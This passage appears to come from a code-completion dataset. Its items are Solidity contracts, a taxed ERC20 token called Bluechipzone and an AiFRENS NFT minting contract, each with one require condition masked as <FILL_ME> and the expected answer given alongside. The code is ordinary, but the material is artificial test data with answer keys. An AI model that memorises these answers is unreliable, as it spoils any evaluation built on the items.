function updatefeeReceiver(address newAddress) external handleRole {
}
function excludeFromFee(address _addr, bool _is) external onlyOwner {
}
function isExcludedFromMaxTx(address _addr) external view returns (bool) {
}
function openTrading() external onlyOwner {
}
function isExcludedFromFee(address _addr) external view returns (bool) {
}
function excludeFromMaxTx(address _addr, bool _is) external onlyOwner {
}
function withdrawRewards(uint16 _cId) external {
}
function withdrawableRewards(address _user)
public
view
returns (uint256)
{
}
function tokenAmountBacked() private view returns (uint256) {
}
function addTokenInfo(address[] memory _path, address _tokenAddress)
external
handleRole
{
}
function updateTokenInfo(
uint8 _cId,
address[] memory _path,
address _tokenAddress,
uint256 _thresholdAmount,
bool _enabled
) external handleRole {
}
mapping(address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH =
keccak256(
"EIP712Domain(string name,uint256 chainId,address verifyingContract)"
);
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(
address indexed delegator,
address indexed fromDelegate,
address indexed toDelegate
);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(
address indexed delegate,
uint256 previousBalance,
uint256 newBalance
);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator) external view returns (address) {
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) external {
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint256) {
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint256 blockNumber)
external
view
returns (uint256)
{
}
function _delegate(address delegator, address delegatee) internal {
}
function _moveDelegates(
address srcRep,
address dstRep,
uint256 amount
) internal {
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
) internal {
}
function safe32(uint256 n, string memory errorMessage)
internal
pure
returns (uint32)
{
}
function getChainId() internal view returns (uint256) {
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}
| _tradingOpen||_sender==owner()||_recepient==owner()||_sender==address(uniswapRouter),"!tradable" | 122,116 | _tradingOpen||_sender==owner()||_recepient==owner()||_sender==address(uniswapRouter) |
"You are exceeding maxWalletAmount" | pragma solidity >=0.8.0;
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setReflectionFeeTo(address) external;
function setReflectionFeeToSetter(address) external;
}
pragma solidity >=0.8.0;
contract Bluechipzone is ERC20("Bluechipz", "BCZ"), Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 public constant MAX_SUPPLY = 100000000 * 1e18; // total supply
uint16 private MAX_BP_RATE = 10000;
uint16 private devTaxRate = 200;
uint16 private marketingTaxRate = 160;
uint16 private passiveIncomeRewardTaxRate = 110;
uint16 private maxTransferAmountRate = 120;
uint16 private maxWalletAmountRate = 240;
uint256 public minAmountToSwap = (MAX_SUPPLY * 2) / 1000;
uint256 public thresholdAmount = (MAX_SUPPLY * 2) / 100;
uint256 public totalDividends;
uint256 public increasedDividends;
IUniswapV2Router02 public uniswapRouter;
address public uniswapPair;
address public feeReceiver = 0x271b13CC58f76176874DDe185357fFF6216De588;
bool private _inSwapAndWithdraw;
address private _handler;
bool public swapAndWithdrawEnabled = false;
bool public _onboardToken = false;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcludedFromMaxTx;
bool private _tradingOpen = false;
struct TokenTypeInfo {
address tokenAddress;
address[] routerPath;
}
mapping(address => uint256) public claimed;
mapping(address => uint256) public dividendsWhenClaim;
TokenTypeInfo[] public tokens;
modifier handleRole() {
}
modifier lockTheSwap() {
}
modifier transferTaxFree() {
}
constructor() public {
}
function operator() public view returns (address) {
}
function burn(address _from, uint256 _amount) public onlyOwner {
}
function _transfer(
address _sender,
address _recepient,
uint256 _amount
) internal override {
require(
_tradingOpen ||
_sender == owner() ||
_recepient == owner() ||
_sender == address(uniswapRouter),
"!tradable"
);
// swap and withdraw
if (
swapAndWithdrawEnabled == true &&
_inSwapAndWithdraw == false &&
address(uniswapRouter) != address(0) &&
uniswapPair != address(0) &&
_sender != uniswapPair &&
balanceOf(address(this)) >= minAmountToSwap &&
!_isExcludedFromFee[_sender] &&
!_isExcludedFromFee[_recepient]
) {
swapAndWithdraw();
}
if (!_isExcludedFromMaxTx[_sender]) {
require(_amount <= maxTransferAmount(), "exceed max tx amount");
}
if (_recepient != uniswapPair) {
require(<FILL_ME>)
}
if (_isExcludedFromFee[_sender]) {
super._transfer(_sender, _recepient, _amount);
} else {
uint256 devFee = _amount.mul(devTaxRate).div(MAX_BP_RATE);
uint256 marketingFee = _amount.mul(marketingTaxRate).div(
MAX_BP_RATE
);
uint256 passiveIncomeRewardFee = _amount
.mul(passiveIncomeRewardTaxRate)
.div(MAX_BP_RATE);
_amount = _amount.sub(devFee).sub(marketingFee).sub(
passiveIncomeRewardFee
);
super._transfer(_sender, _recepient, _amount);
super._transfer(_sender, address(this), devFee);
super._transfer(_sender, address(this), marketingFee);
super._transfer(_sender, address(this), passiveIncomeRewardFee);
totalDividends = totalDividends.add(passiveIncomeRewardFee);
increasedDividends = increasedDividends.add(passiveIncomeRewardFee);
}
}
function updateSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function manualWithdraw() external {
}
/// @dev Swap and liquify
function swapAndWithdraw() private lockTheSwap transferTaxFree {
}
/// @dev Swap tokens for eth
function swapTokensForEth(uint256 tokenAmount) private {
}
function maxTransferAmount() public view returns (uint256) {
}
function maxWalletAmount() public view returns (uint256) {
}
function updateFees(
uint16 _passiveRewardsRate,
uint16 _devTaxRate,
uint16 _marketingTaxRate
) external onlyOwner {
}
function removeAllLimits() external handleRole {
}
function updatefeeReceiver(address newAddress) external handleRole {
}
function excludeFromFee(address _addr, bool _is) external onlyOwner {
}
function isExcludedFromMaxTx(address _addr) external view returns (bool) {
}
function openTrading() external onlyOwner {
}
function isExcludedFromFee(address _addr) external view returns (bool) {
}
function excludeFromMaxTx(address _addr, bool _is) external onlyOwner {
}
function withdrawRewards(uint16 _cId) external {
}
function withdrawableRewards(address _user)
public
view
returns (uint256)
{
}
function tokenAmountBacked() private view returns (uint256) {
}
function addTokenInfo(address[] memory _path, address _tokenAddress)
external
handleRole
{
}
function updateTokenInfo(
uint8 _cId,
address[] memory _path,
address _tokenAddress,
uint256 _thresholdAmount,
bool _enabled
) external handleRole {
}
mapping(address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH =
keccak256(
"EIP712Domain(string name,uint256 chainId,address verifyingContract)"
);
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(
address indexed delegator,
address indexed fromDelegate,
address indexed toDelegate
);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(
address indexed delegate,
uint256 previousBalance,
uint256 newBalance
);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator) external view returns (address) {
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) external {
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint256) {
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint256 blockNumber)
external
view
returns (uint256)
{
}
function _delegate(address delegator, address delegatee) internal {
}
function _moveDelegates(
address srcRep,
address dstRep,
uint256 amount
) internal {
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
) internal {
}
function safe32(uint256 n, string memory errorMessage)
internal
pure
returns (uint32)
{
}
function getChainId() internal view returns (uint256) {
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}
| balanceOf(_recepient)+_amount<=maxWalletAmount(),"You are exceeding maxWalletAmount" | 122,116 | balanceOf(_recepient)+_amount<=maxWalletAmount() |
"!values" | pragma solidity >=0.8.0;
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setReflectionFeeTo(address) external;
function setReflectionFeeToSetter(address) external;
}
pragma solidity >=0.8.0;
contract Bluechipzone is ERC20("Bluechipz", "BCZ"), Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 public constant MAX_SUPPLY = 100000000 * 1e18; // total supply
uint16 private MAX_BP_RATE = 10000;
uint16 private devTaxRate = 200;
uint16 private marketingTaxRate = 160;
uint16 private passiveIncomeRewardTaxRate = 110;
uint16 private maxTransferAmountRate = 120;
uint16 private maxWalletAmountRate = 240;
uint256 public minAmountToSwap = (MAX_SUPPLY * 2) / 1000;
uint256 public thresholdAmount = (MAX_SUPPLY * 2) / 100;
uint256 public totalDividends;
uint256 public increasedDividends;
IUniswapV2Router02 public uniswapRouter;
address public uniswapPair;
address public feeReceiver = 0x271b13CC58f76176874DDe185357fFF6216De588;
bool private _inSwapAndWithdraw;
address private _handler;
bool public swapAndWithdrawEnabled = false;
bool public _onboardToken = false;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcludedFromMaxTx;
bool private _tradingOpen = false;
struct TokenTypeInfo {
address tokenAddress;
address[] routerPath;
}
mapping(address => uint256) public claimed;
mapping(address => uint256) public dividendsWhenClaim;
TokenTypeInfo[] public tokens;
modifier handleRole() {
}
modifier lockTheSwap() {
}
modifier transferTaxFree() {
}
constructor() public {
}
function operator() public view returns (address) {
}
function burn(address _from, uint256 _amount) public onlyOwner {
}
function _transfer(
address _sender,
address _recepient,
uint256 _amount
) internal override {
}
function updateSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function manualWithdraw() external {
}
/// @dev Swap and liquify
function swapAndWithdraw() private lockTheSwap transferTaxFree {
}
/// @dev Swap tokens for eth
function swapTokensForEth(uint256 tokenAmount) private {
}
function maxTransferAmount() public view returns (uint256) {
}
function maxWalletAmount() public view returns (uint256) {
}
function updateFees(
uint16 _passiveRewardsRate,
uint16 _devTaxRate,
uint16 _marketingTaxRate
) external onlyOwner {
require(<FILL_ME>)
passiveIncomeRewardTaxRate = _passiveRewardsRate;
devTaxRate = _devTaxRate;
marketingTaxRate = _marketingTaxRate;
}
function removeAllLimits() external handleRole {
}
function updatefeeReceiver(address newAddress) external handleRole {
}
function excludeFromFee(address _addr, bool _is) external onlyOwner {
}
function isExcludedFromMaxTx(address _addr) external view returns (bool) {
}
function openTrading() external onlyOwner {
}
function isExcludedFromFee(address _addr) external view returns (bool) {
}
function excludeFromMaxTx(address _addr, bool _is) external onlyOwner {
}
function withdrawRewards(uint16 _cId) external {
}
function withdrawableRewards(address _user)
public
view
returns (uint256)
{
}
function tokenAmountBacked() private view returns (uint256) {
}
function addTokenInfo(address[] memory _path, address _tokenAddress)
external
handleRole
{
}
function updateTokenInfo(
uint8 _cId,
address[] memory _path,
address _tokenAddress,
uint256 _thresholdAmount,
bool _enabled
) external handleRole {
}
mapping(address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH =
keccak256(
"EIP712Domain(string name,uint256 chainId,address verifyingContract)"
);
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(
address indexed delegator,
address indexed fromDelegate,
address indexed toDelegate
);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(
address indexed delegate,
uint256 previousBalance,
uint256 newBalance
);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator) external view returns (address) {
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) external {
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint256) {
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint256 blockNumber)
external
view
returns (uint256)
{
}
function _delegate(address delegator, address delegatee) internal {
}
function _moveDelegates(
address srcRep,
address dstRep,
uint256 amount
) internal {
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
) internal {
}
function safe32(uint256 n, string memory errorMessage)
internal
pure
returns (uint32)
{
}
function getChainId() internal view returns (uint256) {
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}
| _passiveRewardsRate+_devTaxRate+_marketingTaxRate<=700,"!values" | 122,116 | _passiveRewardsRate+_devTaxRate+_marketingTaxRate<=700 |
"This gift would exceed max supply of AiFRENS" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/ERC721A.sol";
contract AiFRENS is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
using SafeMath for uint256;
using ECDSA for bytes32;
uint256 public MAX_AiFRENS;
uint256 public MAX_AiFRENS_PER_PURCHASE;
uint256 public MAX_AiFRENS_GIFT_CAP;
uint256 public MAX_AiFRENS_PRESALE_CAP;
uint256 public AiFRENS_PRICE = 0.00 ether;
string public tokenBaseURI;
string public unrevealedURI;
bool public presaleActive = false;
bool public mintActive = false;
bool public giftActive = false;
mapping(address => uint256) private presaleAddressMintCount;
constructor(
uint256 _maxAiFRENS,
uint256 _maxAiFRENSPerPurchase,
uint256 _maxAiFRENSpresaleCap
) ERC721A("AiFRENS Series 1", "AiF1") {
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
function setPreSaleCap(uint256 _newPresaleCap) external onlyOwner {
}
function setMaxPerPurchase(uint256 _newMaxPerPurchase) external onlyOwner {
}
function setTokenBaseURI(string memory _baseURI) external onlyOwner {
}
function setUnrevealedURI(string memory _unrevealedUri) external onlyOwner {
}
function tokenURI(uint256 _tokenId) override public view returns (string memory) {
}
function giftMint(uint256 _quantity, address _giftAddress) external onlyOwner {
}
function _giftMintAiFRENS(uint256 _quantity, address _giftAddress) internal {
require(_quantity > 0, "You must mint at least 1 AiFRENS");
require(<FILL_ME>)
require(_quantity <= MAX_AiFRENS_PER_PURCHASE, "Quantity is more than allowed per transaction.");
_safeMint(_giftAddress, _quantity);
}
function presaleMint(uint256 _quantity, bytes calldata _presaleSignature) external payable nonReentrant {
}
function publicMint(uint256 _quantity) external payable nonReentrant {
}
function _safeMintAiFRENS(uint256 _quantity) internal {
}
function setPresaleActive(bool _active) external onlyOwner {
}
function setGiftActive(bool _active) external onlyOwner {
}
function setMintActive(bool _active) external onlyOwner {
}
function withdraw() public onlyOwner {
}
function verifyOwnerSignature(bytes32 hash, bytes memory signature) private view returns(bool) {
}
}
| _totalMinted()+_quantity<=MAX_AiFRENS,"This gift would exceed max supply of AiFRENS" | 122,180 | _totalMinted()+_quantity<=MAX_AiFRENS |
"Invalid presale signature" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/ERC721A.sol";
contract AiFRENS is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
using SafeMath for uint256;
using ECDSA for bytes32;
uint256 public MAX_AiFRENS;
uint256 public MAX_AiFRENS_PER_PURCHASE;
uint256 public MAX_AiFRENS_GIFT_CAP;
uint256 public MAX_AiFRENS_PRESALE_CAP;
uint256 public AiFRENS_PRICE = 0.00 ether;
string public tokenBaseURI;
string public unrevealedURI;
bool public presaleActive = false;
bool public mintActive = false;
bool public giftActive = false;
mapping(address => uint256) private presaleAddressMintCount;
constructor(
uint256 _maxAiFRENS,
uint256 _maxAiFRENSPerPurchase,
uint256 _maxAiFRENSpresaleCap
) ERC721A("AiFRENS Series 1", "AiF1") {
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
function setPreSaleCap(uint256 _newPresaleCap) external onlyOwner {
}
function setMaxPerPurchase(uint256 _newMaxPerPurchase) external onlyOwner {
}
function setTokenBaseURI(string memory _baseURI) external onlyOwner {
}
function setUnrevealedURI(string memory _unrevealedUri) external onlyOwner {
}
function tokenURI(uint256 _tokenId) override public view returns (string memory) {
}
function giftMint(uint256 _quantity, address _giftAddress) external onlyOwner {
}
function _giftMintAiFRENS(uint256 _quantity, address _giftAddress) internal {
}
function presaleMint(uint256 _quantity, bytes calldata _presaleSignature) external payable nonReentrant {
require(presaleActive, "Presale is not active");
require(<FILL_ME>)
require(_quantity <= MAX_AiFRENS_PRESALE_CAP, "This would exceed the maximum AiFRENS you are allowed to mint in presale");
require(msg.value >= AiFRENS_PRICE * _quantity, "The ether value sent is not correct");
require(presaleAddressMintCount[msg.sender].add(_quantity) <= MAX_AiFRENS_PRESALE_CAP, "This purchase would exceed the maximum AiFRENS you are allowed to mint in the presale");
presaleAddressMintCount[msg.sender] += _quantity;
_safeMintAiFRENS(_quantity);
}
function publicMint(uint256 _quantity) external payable nonReentrant {
}
function _safeMintAiFRENS(uint256 _quantity) internal {
}
function setPresaleActive(bool _active) external onlyOwner {
}
function setGiftActive(bool _active) external onlyOwner {
}
function setMintActive(bool _active) external onlyOwner {
}
function withdraw() public onlyOwner {
}
function verifyOwnerSignature(bytes32 hash, bytes memory signature) private view returns(bool) {
}
}
| verifyOwnerSignature(keccak256(abi.encode(msg.sender)),_presaleSignature),"Invalid presale signature" | 122,180 | verifyOwnerSignature(keccak256(abi.encode(msg.sender)),_presaleSignature) |
"This purchase would exceed the maximum AiFRENS you are allowed to mint in the presale" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/ERC721A.sol";
contract AiFRENS is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
using SafeMath for uint256;
using ECDSA for bytes32;
uint256 public MAX_AiFRENS;
uint256 public MAX_AiFRENS_PER_PURCHASE;
uint256 public MAX_AiFRENS_GIFT_CAP;
uint256 public MAX_AiFRENS_PRESALE_CAP;
uint256 public AiFRENS_PRICE = 0.00 ether;
string public tokenBaseURI;
string public unrevealedURI;
bool public presaleActive = false;
bool public mintActive = false;
bool public giftActive = false;
mapping(address => uint256) private presaleAddressMintCount;
constructor(
uint256 _maxAiFRENS,
uint256 _maxAiFRENSPerPurchase,
uint256 _maxAiFRENSpresaleCap
) ERC721A("AiFRENS Series 1", "AiF1") {
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
function setPreSaleCap(uint256 _newPresaleCap) external onlyOwner {
}
function setMaxPerPurchase(uint256 _newMaxPerPurchase) external onlyOwner {
}
function setTokenBaseURI(string memory _baseURI) external onlyOwner {
}
function setUnrevealedURI(string memory _unrevealedUri) external onlyOwner {
}
function tokenURI(uint256 _tokenId) override public view returns (string memory) {
}
function giftMint(uint256 _quantity, address _giftAddress) external onlyOwner {
}
function _giftMintAiFRENS(uint256 _quantity, address _giftAddress) internal {
}
function presaleMint(uint256 _quantity, bytes calldata _presaleSignature) external payable nonReentrant {
require(presaleActive, "Presale is not active");
require(verifyOwnerSignature(keccak256(abi.encode(msg.sender)), _presaleSignature), "Invalid presale signature");
require(_quantity <= MAX_AiFRENS_PRESALE_CAP, "This would exceed the maximum AiFRENS you are allowed to mint in presale");
require(msg.value >= AiFRENS_PRICE * _quantity, "The ether value sent is not correct");
require(<FILL_ME>)
presaleAddressMintCount[msg.sender] += _quantity;
_safeMintAiFRENS(_quantity);
}
function publicMint(uint256 _quantity) external payable nonReentrant {
}
function _safeMintAiFRENS(uint256 _quantity) internal {
}
function setPresaleActive(bool _active) external onlyOwner {
}
function setGiftActive(bool _active) external onlyOwner {
}
function setMintActive(bool _active) external onlyOwner {
}
function withdraw() public onlyOwner {
}
function verifyOwnerSignature(bytes32 hash, bytes memory signature) private view returns(bool) {
}
}
| presaleAddressMintCount[msg.sender].add(_quantity)<=MAX_AiFRENS_PRESALE_CAP,"This purchase would exceed the maximum AiFRENS you are allowed to mint in the presale" | 122,180 | presaleAddressMintCount[msg.sender].add(_quantity)<=MAX_AiFRENS_PRESALE_CAP |
"Approval must be done before transfer" | pragma solidity 0.8.13;
// SPDX-License-Identifier: MIT
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
